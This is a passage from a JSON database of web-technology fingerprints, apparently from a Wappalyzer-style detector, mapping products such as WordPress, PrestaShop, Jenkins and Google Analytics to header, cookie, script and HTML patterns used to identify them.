Option":{"js":["ymq_option.v"],"implies":["Shopify"]},"Maptalks":{"js":["map._eventmap","maptalks.geojson"]},"Bunny":{"headers":{"server":"^bunnycdn"}},"PopularFX":{},"Segment":{"js":["analytics.version"]},"Prism":{"js":["prism"]},"WP Maintenance Mode":{"js":["wpmm_vars"]},"Orckestra":{"headers":{"x-powered-by":"orckestra","x-orckestra-commerce":".net client"},"meta":{"generator":["^c1 cms foundation - free open source from orckestra and https://github.com/orckestra/c1-cms-foundation$"]},"implies":["Microsoft ASP.NET"]},"Quantcast Measure":{"js":["quantserve"]},"Happy Returns":{},"jQuery-pjax":{"js":["jquery.pjax"],"html":["\u003cdiv[^\u003e]+data-pjax-container"],"meta":{"pjax-push":[],"pjax-replace":[],"pjax-timeout":[]},"implies":["jQuery"]},"NitroPack":{"meta":{"generator":["nitropack"]}},"Freshworks CRM":{"js":["zargetform","zarget","zargetapi"]},"SQLite":{},"Sitefinity":{"meta":{"generator":["^sitefinity (.+)$\\;version:\\1"]},"implies":["Microsoft ASP.NET"]},"Yektanet":{"js":["yektanet"],"meta":{"yektanet_session_last_activity":[]}},"ShopWired":{},"Uniconsent":{},"Gatsby":{"meta":{"generator":["^gatsby(?: ([0-9.]+))?$\\;version:\\1"]},"implies":["React","webpack"]},"Blessing Skin":{"js":["blessing.version"],"implies":["Laravel"]},"Deliverr":{"js":["deliverrscript"],"implies":["Cart Functionality"]},"Beam AfterSell":{"js":["aftersell.hooks"],"implies":["Shopify"]},"Fomo":{"js":["fomo.version"]},"Cloudflare Network Error Logging":{"headers":{"nel":"cf-nel\\;confidence:50","report-to":"a\\.nel\\.cloudflare\\.com\\;confidence:50"}},"Nestify":{"headers":{"x-nestify-cache":""}},"FaraPy":{"html":["\u003c!-- powered by farapy."],"implies":["Python"]},"UltraCart":{"js":["uccatalog"],"html":["\u003cform [^\u003e]*action=\"[^\"]*\\/cgi-bin\\/uceditor\\?(?:[^\"]*\u0026)?merchantid=[^\"]"]},"Evidon":{"js":["eb.evidonconsent","evidon"]},"Twitter Flight":{"js":["flight"],"implies":["jQuery"]},"WebAssembly":{"headers":{"content-type":"application/wasm"}},"Cleverbridge":{"js":["cbcartproductselection"]},"Slimbox 2":{"html":["\u003clink [^\u003e]*href=\"[^/]*slimbox2(?:-rtl)?\\.css"],"implies":["jQuery"]},"Platform.sh":{"headers":{"x-platform-processor":"","x-platform-router":"","x-platform-server":"","x-platform-cluster":""}},"Shanon":{},"Recurly":{"js":["recurly.version"],"html":["\u003cinput[^\u003e]+data-recurly"]},"LiveStreet CMS":{"js":["livestreet_security_key"],"headers":{"x-powered-by":"livestreet cms"},"implies":["PHP"]},"TableCheck":{},"Borderfree":{"cookies":{"bfx.loglevel":"^\\w+$","bfx.apikey:":"^[\\w\\d-]+$","bfx.country:":"^\\w+$","bfx.language":"^\\w+$"},"js":["bfx._apikey","bfx._brand"]},"Pleroma":{},"Corebine":{"js":["corebine"]},"Vaadin":{"js":["vaadin"],"implies":["Java"]},"Forter":{"cookies":{"fortertoken":""},"js":["ftr__startscriptload"]},"Gladly":{"js":["gladly"]},"Tipsa":{},"Gauges":{"cookies":{"_gauges_":""},"js":["_gauges"]},"Fly.io":{"cookies":{"_fly":""},"headers":{"fly-request-id":"","server":"^fly/[\\w]+\\s\\(.*\\)$","via":"^.*\\sfly\\.io$"}},"Woostify":{"js":["woostifyconditionscrolling","woostify_woocommerce_general"],"implies":["WooCommerce"]},"Ideasoft":{},"Oracle Commerce":{"headers":{"x-atg-version":"(?:atgplatform/([\\d.]+))?\\;version:\\1"}},"AWIN":{"cookies":{"bagawin":"","_aw_xid":""},"js":["awin.tracking"]},"ElasticSuite":{"cookies":{"stuid":"\\;confidence:50","stvid":"\\;confidence:50"},"js":["smiletracker"],"implies":["PHP","Elasticsearch"]},"ExtendThemes Calliope":{},"Ruby":{"headers":{"server":"(?:mongrel|webrick|ruby)"}},"Coppermine":{"html":["\u003c!--coppermine photo gallery ([\\d.]+)\\;version:\\1"],"implies":["PHP"]},"Venmo":{},"HubSpot CMS Hub":{"headers":{"x-hs-hub-id":"","x-powered-by":"hubspot"},"meta":{"generator":["hubspot"]},"implies":["HubSpot"]},"PizzaNetz":{},"Tada":{"implies":["Shopify"]},"Super Builder":{"implies":["Notion","Next.js"]},"Ada":{"js":["__adaembedconstructor","adaembed"]},"Elementor Header \u0026 Footer Builder":{"implies":["Elementor"]},"Super Socializer":{},"Stitches":{"meta":{"generator":["^c-[a-za-z]{5}$"]}},"Sellix":{},"GetButton":{},"X.ai":{"js":["xdotaiaction","xdotaibutton"]},"Ensi":{"headers":{"x-ensi-platform":""},"meta":{"generator":["ensi platform"]}},"Heartland Payment Systems":{},"Periodic":{},"Bitrix24":{"js":["bitrix24formloader","bitrix24formobject","b24tracker"]},"EasyStore":{"js":["easystore"]},"TagPro":{"js":["initadprotags"]},"Fast Bundle":{"js":["fastbundleconf.bundlebox","fastbundleconf.cartinfo.app_version"],"implies":["Shopify"]},"Sotoon":{"headers":{"server":"^sotoon$"}},"Blueshift":{},"SevenRooms":{"js":["sevenroomswidget"]},"TripleLift":{},"Akaunting":{"headers":{"x-akaunting":"^free accounting software$"},"html":["\u003clink[^\u003e]+akaunting-green\\.css","powered by akaunting: \u003ca [^\u003e]*href=\"https?://(?:www\\.)?akaunting\\.com[^\u003e]+\u003e"],"implies":["Laravel"]},"Resin":{"headers":{"server":"^resin(?:/(\\s*))?\\;version:\\1"},"implies":["Java"]},"Marfeel":{"js":["marfeel"]},"Microsoft Excel":{"html":["(?:\u003chtml [^\u003e]*xmlns:w=\"urn:schemas-microsoft-com:office:excel\"|\u003c!--\\s*(?:start|end) of output from excel publish as web page wizard\\s*--\u003e|\u003cdiv [^\u003e]*x:publishsource=\"?excel\"?)"],"meta":{"generator":["microsoft excel( [\\d.]+)?\\;version:\\1"],"progid":["^excel\\."]}},"PrestaShop":{"cookies":{"prestashop":""},"js":["prestashop","pricedisplaymethod","pricedisplayprecision","rcanalyticsevents.eventprestashopcheckout","freeproducttranslation"],"headers":{"powered-by":"^prestashop$"},"html":["powered by \u003ca\\s+[^\u003e]+\u003eprestashop","\u003c!-- /block [a-z ]+ module (?:header|top)?\\s?--\u003e","\u003c!-- /module block [a-z ]+ --\u003e"],"meta":{"generator":["prestashop"]},"implies":["PHP","MySQL"]},"Shogun":{"js":["shogunanalytics"]},"Pico":{"js":["pico"]},"Microsoft Authentication":{"js":["msal.authority","msal.authorityinstance","msalconfig.auth"]},"Oh Dear":{"js":["__next_data__.props.pageprops.config.useragent"]},"Raychat":{"js":["raychat"]},"Blueknow":{"js":["blueknow","blueknowtracker"]},"Saly":{"meta":{"application-name":["^saly\\sb2b\\splatform$"]},"implies":["PHP","Svelte"]},"Gorgias":{"js":["gorgiaschat"]},"Reviews.io":{"js":["reviewsio_hasvoted","reviewsio_sharelink"]},"Easy Redirects":{"implies":["Shopify"]},"eDokan":{"implies":["Node.js","Angular","MongoDB"]},"Acquia Site Studio":{"implies":["Acquia Cloud Platform"]},"math.js":{"js":["mathjs"]},"ADFOX":{"js":["adfox_getcodescript","site.adfoxparams","adfoxparams","adfoxasyncparams","adfoxbiddersmap"]},"WebSite X5":{"meta":{"generator":["incomedia website x5 (\\w+ [\\d.]+)\\;version:\\1"]}},"Atlassian FishEye":{"cookies":{"fesessionid":""},"html":["\u003ctitle\u003e(?:log in to )?fisheye (?:and crucible )?([\\d.]+)?\u003c/title\u003e\\;version:\\1"]},"TN Express Web":{"cookies":{"tnew":""},"implies":["Tessitura"]},"aThemes Hiero":{},"IdoSell Shop":{"js":["iai_ajax"]},"Bazaarvoice Curation":{},"WEN Themes Education Hub":{"js":["educationhubscreenreadertext"]},"Kirki Customizer Framework":{},"Frequently Bought Together":{},"JS Charts":{"js":["jschart"]},"Cafe24":{"js":["ec_global_info","ec_root_domain","ec_global_datetime"]},"Yoast SEO":{"html":["\u003c!-- this site is optimized with the yoast (?:wordpress )?seo plugin v([^\\s]+) -\\;version:\\1","\u003c!-- this site is optimized with the yoast seo premium plugin v(?:[^\\s]+) \\(yoast seo v([^\\s]+)\\) -\\;version:\\1"],"implies":["WordPress"]},"Varbase":{"js":["drupalsettings.ajaxpagestate.libraries"],"implies":["Drupal"]},"CoinHive":{"js":["coinhive"]},"Intel Active Management Technology":{"headers":{"server":"intel\\(r\\) active management technology(?: ([\\d.]+))?\\;version:\\1"}},"Sub2Tech":{"js":["sub2.codebaseversion"]},"Omise":{"js":["omise","omisecard"]},"Mono.net":{"js":["_monotracker"],"implies":["Matomo Analytics"]},"The Events Calendar":{"js":["tribe_l10n_datatables","tribecalendar"]},"BON Loyalty":{"js":["bonshopinfo.appearance"]},"Sorted Return":{"js":["clicksit_window_on_load"]},"30namaPlayer":{},"Hosting Ukraine":{},"cPanel":{"cookies":{"cprelogin":"","cpsession":""},"headers":{"server":"cpsrvd/([\\d.]+)\\;version:\\1"},"html":["\u003c!-- cpanel"]},"LiteSpeed":{"headers":{"server":"^litespeed$"}},"GoDaddy Go":{"js":["gofrontend.openmenuonhover"]},"Attraqt":{"js":["_attraqt"]},"Quick.Cart":{"html":["\u003ca href=\"[^\u003e]+opensolution\\.org/\"\u003e(?:shopping cart by|sklep internetowy)"],"meta":{"generator":["quick\\.cart(?: v([\\d.]+))?\\;version:\\1"]}},"Fbits":{"js":["fbits"]},"Tencent Cloud":{"meta":{"copyright":["^.+tencent\\scloud\\.$"]}},"Mondial Relay":{},"Kibana":{"headers":{"kbn-version":"^([\\d.]+)$\\;version:\\1","kbn-name":"kibana"},"html":["\u003ctitle\u003ekibana\u003c/title\u003e"],"implies":["Node.js","Elasticsearch"]},"Darwin":{"headers":{"server":"darwin","x-powered-by":"darwin"}},"Socket.io":{"js":["io.socket","io.version"],"implies":["Node.js"]},"Regiondo":{},"SAP":{"headers":{"server":"sap netweaver application server"}},"Poste Italiane":{},"Miestro":{"meta":{"base_url":[".+\\.miestro\\.com"]}},"Mautic":{"js":["mautictrackingobject"]},"ProcessWire":{"js":["processwire"],"headers":{"x-powered-by":"processwire cms"},"implies":["PHP"]},"Conjured":{},"MATORI.NET":{"headers":{"x-powered-by":"matori.net"},"implies":["OpenResty"]},"Sezzle":{"js":["sezzle_footer_images","awesomesezzle","rendersezzleiframe"],"meta":{"sezzle_cid":[]}},"BowNow":{"cookies":{"bownow_act":"","bownow_aid":"","bownow_cid":"","bownow_mbid":""},"js":["_bownow_ts"]},"PriceSpider":{"js":["pricespider.version"]},"Luna":{"js":["globaldittoserver","jstextmap.dittosdkurl","ditto.__esmodule","dittoidlifetime","globaldittokey"],"headers":{"content-security-policy":"bsdk\\.api\\.ditto.com"}},"mod_python":{"headers":{"server":"mod_python(?:/([\\d.]+))?\\;version:\\1"},"implies":["Python","Apache"]},"Avada SEO":{},"Moat":{},"JBoss Application Server":{"headers":{"x-powered-by":"jboss(?:-([\\d.]+))?\\;version:\\1"}},"OpenStreetMap":{},"Cart.com":{"js":["ac.storedomain"]},"Luigi’s Box":{"js":["luigis"]},"STN Video":{},"Megagroup CMS.S3":{"js":["megacounter_key"]},"RichRelevance":{"js":["rr_v","rr.u"]},"punBB":{"js":["punbb"],"html":["powered by \u003ca href=\"[^\u003e]+punbb"],"implies":["PHP"]},"Winstone Servlet Container":{"headers":{"x-powered-by":"winstone(?:\\/([\\d.]+))?\\;version:\\1","server":"winstone servlet (?:container|engine) v?([\\d.]+)?\\;version:\\1"}},"a3 Lazy Load":{"js":["a3_lazyload_extend_params","a3_lazyload_params"]},"Wuilt":{"implies":["React","Node.js"]},"HCL Commerce":{"implies":["Java"]},"Stylitics":{"js":["stylitics","stylitics"]},"Autoketing Product Reviews":{"js":["autoketingproduct_reivew"],"implies":["Shopify","Autoketing"]},"LayoutHub":{"implies":["Shopify"]},"REG.RU":{},"AWStats":{"meta":{"generator":["awstats ([\\d.]+(?: \\(build [\\d.]+\\))?)\\;version:\\1"]},"implies":["Perl"]},"Google Hosted Libraries":{},"Estore Shopserve":{},"Open Graph":{},"Press Customizr":{},"TikTok Pixel":{"js":["tiktokanalyticsobject"]},"Service Provider Pro":{"cookies":{"spp_csrf":"\\;confidence:25","spp_orderform":"","spp_session":"\\;confidence:25"},"js":["spporderform"],"meta":{"server":["app.spp.co"]}},"ASP.NET Boilerplate":{"js":["abp.toabsapppath","abp.localization"],"implies":["Microsoft ASP.NET"]},"Google Analytics":{"cookies":{"__utma":"","_ga":"","_gat":""},"js":["gaglobal","googleanalyticsobject"],"html":["\u003camp-analytics [^\u003e]*type=[\"']googleanalytics[\"']"]},"BeyondMenu":{},"Beans":{"js":["beans3"]},"Richpanel":{"js":["richpanel.plugin_api_url","richpanelappproxy","richpanel_messenger_url"]},"AFThemes CoverNews":{},"Gravity Forms":{"html":["\u003cdiv class=(?:\"|')[^\u003e]*gform_wrapper","\u003cdiv class=(?:\"|')[^\u003e]*gform_body","\u003cul [^\u003e]*class=(?:\"|')[^\u003e]*gform_fields","\u003clink [^\u003e]*href=(?:\"|')[^\u003e]*wp-content/plugins/gravityforms/css/"]},"Snipcart":{"cookies":{"snipcart-cart":""}},"Podigee":{"js":["podigeepodcastplayers"]},"Bootstrap":{"js":["bootstrap.alert.version","jquery.fn.tooltip.constructor.version"],"html":["\u003cstyle\u003e\\s+/\\*!\\s+\\* bootstrap v(\\d\\.\\d\\.\\d)\\;version:\\1","\u003clink[^\u003e]* href=[^\u003e]*?bootstrap(?:[^\u003e]*?([0-9a-fa-f]{7,40}|[\\d]+(?:.[\\d]+(?:.[\\d]+)?)?)|)[^\u003e-]*?(?:\\.min)?\\.css\\;version:\\1"]},"jQTouch":{"js":["jqt"]},"MinMaxify":{"js":["minmaxify.shop","minmaxify.checklimits"],"implies":["Shopify"]},"DNN":{"cookies":{"dotnetnukeanonymous":""},"js":["dotnetnuke","dnn.apiversion"],"headers":{"x-compressed-by":"dotnetnuke","cookie":"dnn_ismobile=","dnnoutputcache":""},"html":["\u003c!-- by dotnetnuke corporation","\u003c!-- dnn platform"],"meta":{"generator":["dotnetnuke"]},"implies":["Microsoft ASP.NET"]},"Pterodactyl Panel":{"cookies":{"pterodactyl_session":""},"implies":["Go","PHP","React","Laravel"]},"Chameleon system":{"meta":{"generator":["chameleon cms/shop system"]}},"Press Hueman":{"js":["huparams"]},"BIGACE":{"meta":{"generator":["bigace ([\\d.]+)\\;version:\\1"]},"implies":["PHP"]},"Acoustic Experience Analytics":{"js":["tlt.config.core.modules.tlcookie","tlt_version","tealeaf"]},"SAP Upscale Commerce":{},"Ant Design":{"js":["antd.version"],"html":["\u003c[^\u003e]*class=\"ant-(?:btn|col|row|layout|breadcrumb|menu|pagination|steps|select|cascader|checkbox|calendar|form|input-number|input|mention|rate|radio|slider|switch|tree-select|time-picker|transfer|upload|avatar|badge|card|carousel|collapse|list|popover|tooltip|table|tabs|tag|timeline|tree|alert|modal|message|notification|progress|popconfirm|spin|anchor|back-top|divider|drawer)","\u003ci class=\"anticon anticon-"]},"Select2":{"js":["jquery.fn.select2"],"implies":["jQuery"]},"Kinsta":{"headers":{"x-kinsta-cache":""},"implies":["WordPress"]},"Phabricator":{"cookies":{"phsid":""},"html":["\u003c[^\u003e]+(?:class|id)=\"phabricator-"],"implies":["PHP"]},"WEN Themes Signify Dark":{"js":["signifyoptions"]},"Postscript":{"js":["postscript.issubscriberinputchecked","postscript.getsubscriberid"]},"Lightspeed eCom":{"html":["\u003c!-- \\[start\\] 'blocks/head\\.rain' --\u003e"]},"Sift":{"js":["__siftflashcb","_sift"]},"Twenty Seventeen":{"js":["twentyseventeenscreenreadertext"]},"SheerID":{"js":["sheerid","sheerid"],"headers":{"content-security-policy":"\\.sheerid\\.com","content-security-policy-report-only":"\\.sheerid\\.com"}},"Remix":{"js":["__remixcontext"],"implies":["React"]},"Doxygen":{"html":["(?:\u003c!-- generated by doxygen ([\\d.]+)|\u003clink[^\u003e]+doxygen\\.css)\\;version:\\1"],"meta":{"generator":["doxygen ([\\d.]+)\\;version:\\1"]}},"Jenkins":{"js":["jenkinsciglobal","jenkinsrules"],"headers":{"x-jenkins":"([\\d.]+)\\;version:\\1"},"html":["\u003cspan class=\"jenkins_ver\"\u003e\u003ca href=\"https://jenkins\\.io/\"\u003ejenkins ver\\. ([\\d.]+)\\;version:\\1"],"implies":["Java"]},"Partial.ly":{"js":["partiallybutton"]},"Czater":{"js":["$czater","$czatermethods"]},"FirstImpression.io":{"js":["fi.options","fiprebidanalyticshandler"]},"Fing":{"headers":{"server":"^fing"}},"Accessibly":{"js":["accessibilitywidget.name"]},"Breinify":{"js":["breinify.version"]},"Melis Platform":{"html":["\u003c!-- rendered with melis cms v2","\u003c!-- rendered with melis platform"],"meta":{"generator":["^melis platform\\."],"powered-by":["^melis cms\\."]},"implies":["Apache","PHP","MySQL","Symfony","Laravel","Zend"]},"Site Kit":{"meta":{"generator":["^site kit by google ?([\\d.]+)?\\;version:\\1"]}},"FancyBox":{"js":["$.fancybox.version","fancybox.version","jquery.fancybox.version"],"implies":["jQuery"]},"Google AdSense":{"js":["goog_adsense_osdadapter","__google_ad_urls","adsbygoogle","google_ad_","goog_adsense_"]},"Twenty Twelve":{},"Banshee":{"headers":{"x-powered-by":"banshee php framework v([\\d\\.]+)\\;version:\\1"},"meta":{"generator":["banshee php"]},"implies":["PHP"]},"Jetty":{"headers":{"server":"jetty(?:\\(([\\d\\.]*\\d+))?\\;version:\\1"},"implies":["Java"]},"Google Cloud":{},"Brownie":{"headers":{"x-powered-by":"brownie"},"implies":["PHP","MySQL","Amazon Web Services","Bootstrap","jQuery"]},"AppDynamics":{"js":["adrum.conf.agentver"]},"SeQura":{"js":["sequra","sequraconfiguration","sequraproducts"]},"Milligram":{"html":["\u003clink[^\u003e]+?href=\"[^\"]+milligram(?:\\.min)?\\.css"]},"OptinMonster plugin":{"implies":["OptinMonster"]},"Privy":{"js":["privy","privywidget","privysettings"]},"Embedly":{"js":["embedly"]},"Azure AD B2C":{"implies":["Azure"]},"Mailman":{"implies":["Python"]},"Helixo UFE":{"js":["ufe.funneldata","ufestore.carttotal"],"implies":["Shopify"]},"SolidPixels":{"meta":{"web_author":["^solidpixels"]},"implies":["React"]},"Affiliate B":{},"Identrust":{},"Beyable":{"cookies":{"beyable-cart":"","beyable-cartd":""},"js":["beyablekey","beyable","beyabledomain"]},"Upserve":{},"AlloyUI":{"js":["aui"],"implies":["Bootstrap","YUI"]},"Prediggo":{"js":["prediggosearchformexternalac","prediggo"]},"BiteSpeed":{},"Minero.cc":{},"Po.st":{"js":["pwidget_config"]},"City Hive":{"js":["cityhivesites","cityhivewebsitename"]},"Zinrelo":{"js":["zrl_mi"]},"OnShop":{"meta":{"generator":["onshop ecommerce"]},"implies":["PHP"]},"Redis Object Cache":{"html":["\u003c!--\\s+performance optimized by redis object cache"],"implies":["Redis","WordPress"]},"iHomefinder IDX":{"js":["ihfjquery"]},"Clearbit Reveal":{},"Futurio":{},"Pagely":{"headers":{"server":"^pagely"},"implies":["WordPress","Amazon Web Services"]},"Rakuten":{"cookies":{"rakuten-source":""},"js":["rakutenranmid","rakutensource"]},"Base":{"js":["base.app.open_nav","base_api.shop_id"],"meta":{"base-theme-name":["\\;confidence:50"],"base-theme-version":["\\d+\\;confidence:50"]}},"Envialia":{},"Ackee":{"js":["ackeetracker"]},"IPB":{"cookies":{"ipbwwlsession_id":"","ipbwwlmodpids":""},"js":["ipboard","ipb_var","ipssettings"],"html":["\u003clink[^\u003e]+ipb_[^\u003e]+\\.css"],"implies":["PHP","MySQL"]},"JBoss Web":{"headers":{"x-powered-by":"jbossweb(?:-([\\d.]+))?\\;version:\\1"},"implies":["JBoss Application Server"]},"HubSpot":{"js":["_hsq","hubspot"],"html":["\u003c!-- start of async hubspot"]},"Plesk":{"headers":{"x-powered-by":"^plesk(?:l|w)in","x-powered-by-plesk":"^plesk"}},"Trustpilot":{"js":["trustpilot"]},"Kount":{"js":["ka.collectdata","ka.clientsdk"]},"SUSE":{"headers":{"server":"suse(?:/?\\s?-?([\\d.]+))?\\;version:\\1","x-powered-by":"suse(?:/?\\s?-?([\\d.]+))?\\;version:\\1"}},"CoverManager":{},"Flyspray":{"cookies":{"flyspray_project":""},"html":["(?:\u003ca[^\u003e]+\u003epowered by flyspray|\u003cmap id=\"projectsearchform)"],"implies":["PHP"]},"LiveRamp DPM":{"js":["dpmcomscorevars"]},"Pixieset Website":{"meta":{"generator":["^pixieset$"]}},"Commerce7":{},"Kohana":{"cookies":{"kohanasession":""},"headers":{"x-powered-by":"kohana framework ([\\d.]+)\\;version:\\1"},"implies":["PHP"]},"Loox":{"js":["loox_global_hash"],"implies":["Shopify"]},"eClass":{"js":["fe_eclass_guest","fe_eclass"]},"Airship":{},"Adform":{},"Haravan":{"js":["haravan"]},"Advert Stream":{"js":["advst_is_above_the_fold"]},"Usizy":{"js":["usizyuniversal"]},"Partytown":{"js":["partytown.lib"]},"TestFreaks":{"js":["applytestfreaks","testfreaks"]},"NagaCommerce":{"meta":{"generator":["^nagacommerce$"]}},"Plone":{"meta":{"generator":["plone"]},"implies":["Python"]},"Hotjar":{"js":["hotleadfactory","hotleadcontroller","hj.apiurlbase"]},"Piano":{"js":["pianoespconfig","gcidatapiano"]},"ViaBill":{"js":["viabilloptions.state.subscriptions","viabillpricetaginternal.conf.productsbylocale"]},"Mulberry":{"js":["mulberry.cta","mulberryshop"],"implies":["Cart Functionality"]},"Drapr":{"js":["drapr_data","drapr_deferloading"]},"3dCart":{"cookies":{"3dvisit":""},"headers":{"x-powered-by":"3dcart"}},"Pligg":{"js":["pligg_"],"html":["\u003cspan[^\u003e]+id=\"xvotes-0"],"meta":{"generator":["pligg"]}},"mod_rack":{"headers":{"server":"mod_rack(?:/([\\d.]+))?\\;version:\\1","x-powered-by":"mod_rack(?:/([\\d.]+))?\\;version:\\1"},"implies":["Ruby on Rails\\;confidence:50","Apache"]},"Avasize":{},"Afosto":{"headers":{"x-powered-by":"afosto saas bv"}},"Mattermost":{"js":["mm_user","mm_config","mm_current_user_id","mm_license"],"html":["\u003cnoscript\u003e to use mattermost, please enable javascript\\. \u003c/noscript\u003e"],"implies":["Go","React"]},"Thefork":{},"Phlox":{},"Hotjar Incoming Feedback":{},"HP iLO":{"headers":{"server":"hp-ilo-server(?:/([\\d.]+))?\\;version:\\1"}},"Amazon ECS":{"headers":{"server":"^ecs"},"implies":["Amazon Web Services","Docker"]},"Rudderstack":{"js":["rudderanalytics"]},"Twilight CMS":{"headers":{"x-powered-cms":"twilight cms"}},"WalkMe":{"js":["_walkmeconfig","walkmeapi"]},"SiteVibes":{"js":["sitevibesmanager"]},"Mambo":{"meta":{"generator":["mambo"]}},"Performance Lab":{"meta":{"generator":["^performance lab ?([\\d.]+)?\\;version:\\1"]}},"Akamai Bot Manager":{"cookies":{"ak_bmsc":"","bm_sv":"","bm_sz":""},"implies":["Akamai"]},"Hushly":{"js":["__hly_widget_object"]},"ePages":{"js":["epages"],"headers":{"x-epages-requestid":""}},"Hostmeapp":{},"Enlistly":{"implies":["Shopify"]},"Eleanor CMS":{"meta":{"generator":["eleanor"]},"implies":["PHP"]},"Themonic Iconic One":{},"RxJS":{"js":["rx.compositedisposable","rx.symbol"]},"Yaws":{"headers":{"server":"yaws(?: ([\\d.]+))?\\;version:\\1"}},"Stencil":{},"VWO Engage":{"js":["_pushcrewdebuggingqueue"]},"Relais Colis":{},"Strato Website":{"js":["strftime.configuration"]},"Indico":{"cookies":{"makacsession":""},"html":["powered by\\s+(?:cern )?\u003ca href=\"http://(?:cdsware\\.cern\\.ch/indico/|indico-software\\.org|cern\\.ch/indico)\"\u003e(?:cds )?indico( [\\d\\.]+)?\\;version:\\1"]},"WordPress":{"js":["wp_username"],"headers":{"x-pingback":"/xmlrpc\\.php$","link":"rel=\"https://api\\.w\\.org/\""},"html":["\u003clink rel=[\"']stylesheet[\"'] [^\u003e]+/wp-(?:content|includes)/","\u003clink[^\u003e]+s\\d+\\.wp\\.com"],"meta":{"shareaholic:wp_version":[],"generator":["^wordpress(?: ([\\d.]+))?\\;version:\\1"]},"implies":["PHP","MySQL"]},"CookieYes":{"js":["cookieyes"]},"Elevar":{"js":["elevar_gtm_errors","webpackchunkelevar_gtm_suite_scripts","elevargtmsuite"]},"Colorlib Shapely":{"js":["shapelyadminobject"]},"Clockwork":{"headers":{"x-clockwork-version":"^([\\d\\.]+)$\\;version:\\1"},"implies":["PHP"]},"Correos Ecommerce":{"js":["comandia"]},"MochiKit":{"js":["mochikit","mochikit.mochikit.version"]},"Vue.js":{"js":["vue.version","__vue_hot_map__"],"html":["\u003c[^\u003e]+\\sdata-v(?:ue)?-"],"css":["\\.vue-notification-group"]},"PostNL":{},"Ubercart":{"implies":["Drupal"]},"Webmin":{"implies":["Perl"]},"Graffiti CMS":{"cookies":{"graffitibot":""},"meta":{"generator":["graffiti cms ([^\"]+)\\;version:\\1"]},"implies":["Microsoft ASP.NET"]},"ReviewSolicitors":{"js":["rs.getwidgethtml"]},"Intercom Articles":{"html":["\u003ca href=\"https://www.intercom.com/intercom-link[^\"]+solution=customer-support[^\u003e]+\u003ewe run on intercom"]},"Emotion":{},"Homerr":{},"Everflow":{},"Arc XP":{"js":["fusion.arcsite"]},"Project Wonderful":{"js":["pw_adloader"],"html":["\u003cdiv[^\u003e]+id=\"pw_adbox_"]},"Graphene":{"js":["graphenejs.templateurl","graphenegetinfscrollbtnlbl"]},"AMP":{"html":["\u003chtml[^\u003e]* (?:amp|⚡)[^-]","\u003clink rel=\"amphtml\""]},"Gravitec":{"js":["gravitec","gravitecwebpackjsonp"]},"Flickity":{"js":["flickity"]},"Proximis Unified Commerce":{"js":["__change"],"html":["\u003chtml[^\u003e]+data-ng-app=\"rbschangeapp\""],"meta":{"generator":["proximis unified commerce"]},"implies":["PHP","AngularJS"]},"Recharge":{"js":["rechargewidget"],"implies":["Cart Functionality"]},"Nette Framework":{"cookies":{"nette-browser":""},"js":["nette","nette.version"],"headers":{"x-powered-by":"^nette framework"},"html":["\u003cinput[^\u003e]+data-nette-rules","\u003cdiv[^\u003e]+id=\"snippet-","\u003cinput[^\u003e]+id=\"frm-"],"implies":["PHP"]},"Hamechio":{"meta":{"generator":["hamech\\.io/"]},"implies":["PHP"]},"BrowserCMS":{"meta":{"generator":["browsercms ([\\d.]+)\\;version:\\1"]},"implies":["Ruby"]},"ExtendThemes Materialis":{"js":["materialis_theme_pro_settings","materialistheme","materialissetheadertopspacing"]},"Amazon CloudWatch RUM":{"js":["awsrumclient","awsrumclient.v","awsrumconfig","awsrum"]},"Nuvemshop":{"js":["nuvemshopidproduct","ls.store.url"]},"ConvertFlow":{"js":["convertflow"]},"PubGuru":{"js":["pg.version"]},"DocuSign":{},"Clarity":{"js":["clarityicons"],"implies":["Angular"]},"OpinionLab":{"js":["ooo.browser","ooo.version"]},"ZestMoney":{"js":["zestmoneywidget","zestbind","zestmerchant"]},"Hostinger":{},"OpenBSD httpd":{"headers":{"server":"^openbsd httpd"}},"Amazon Cloudfront":{"headers":{"via":"\\(cloudfront\\)$","x-amz-cf-id":""},"implies":["Amazon Web Services"]},"RockRMS":{"meta":{"generator":["^rock v([0-9.]+)\\;version:\\1"]},"implies":["Windows Server","IIS","Microsoft ASP.NET"]},"thttpd":{"headers":{"server":"\\bthttpd(?:/([\\d.]+))?\\;version:\\1"}},"Bulma":{"js":["bulma.version"]},"Sensors Data":{"cookies":{"sensorsdata2015jssdkcross":"","sensorsdata2015session":""},"js":["sa.lib_version","sensorsdata_app_js_bridge_call_js"]},"XOOPS":{"js":["xoops"],"meta":{"generator":["xoops"]},"implies":["PHP"]},"Service Management Group":{"js":["smgetrackparams"]},"actionhero.js":{"js":["actionheroclient"],"headers":{"x-powered-by":"actionhero api"},"implies":["Node.js"]},"Iterable":{"js":["iterableanalytics"]},"Estore Compare":{},"XSLT":{"html":["\u003cxsl[^\u003e]* version=\"(.+)\"\\;version:\\1"]},"Brandfolder":{"js":["brandfolder.account"]},"OpenResty":{"headers":{"server":"openresty(?:/([\\d.]+))?\\;version:\\1"},"implies":["Nginx"]},"Touch2Success":{"meta":{"content":["^touch2success$"]}},"UserVoice":{"js":["uservoice"]},"Nukeviet CMS":{"js":["nv_digitalclock","nv_is_change_act_confirm"],"meta":{"generator":["nukeviet v([\\d.]+)\\;version:\\1"]}},"Matomo Analytics":{"cookies":{"piwik_sessid":""},"js":["matomo","piwik","_paq"],"meta":{"apple-itunes-app":["app-id=737216887"],"generator":["(?:matomo|piwik) - open source web analytics"],"google-play-app":["app-id=org\\.piwik\\.mobile2"]}},"WordPress Super Cache":{"headers":{"wp-super-cache":""},"html":["\u003c!--[^\u003e]+wp-super-cache"]},"Acquia Content Hub":{"headers":{"content-security-policy":"content-hub\\.acquia\\.com"},"implies":["Acquia Cloud Platform"]},"Splitbee":{"js":["splitbee"]},"HulkApps Infinite Product Options":{"js":["hulkapps.po_url"],"implies":["Shopify"]},"Chili Piper":{"js":["chilipiper"]},"Cooladata":{"js":["cooladata"]},"MediaWiki":{"js":["mw.util.toggletoc","wgtitle","wgversion"],"html":["\u003cbody[^\u003e]+class=\"mediawiki\"","\u003c(?:a|img)[^\u003e]+\u003epowered by mediawiki\u003c/a\u003e","\u003ca[^\u003e]+/special:whatlinkshere/"],"meta":{"generator":["^mediawiki ?(.+)$\\;version:\\1"]},"implies":["PHP"]},"Pixlee 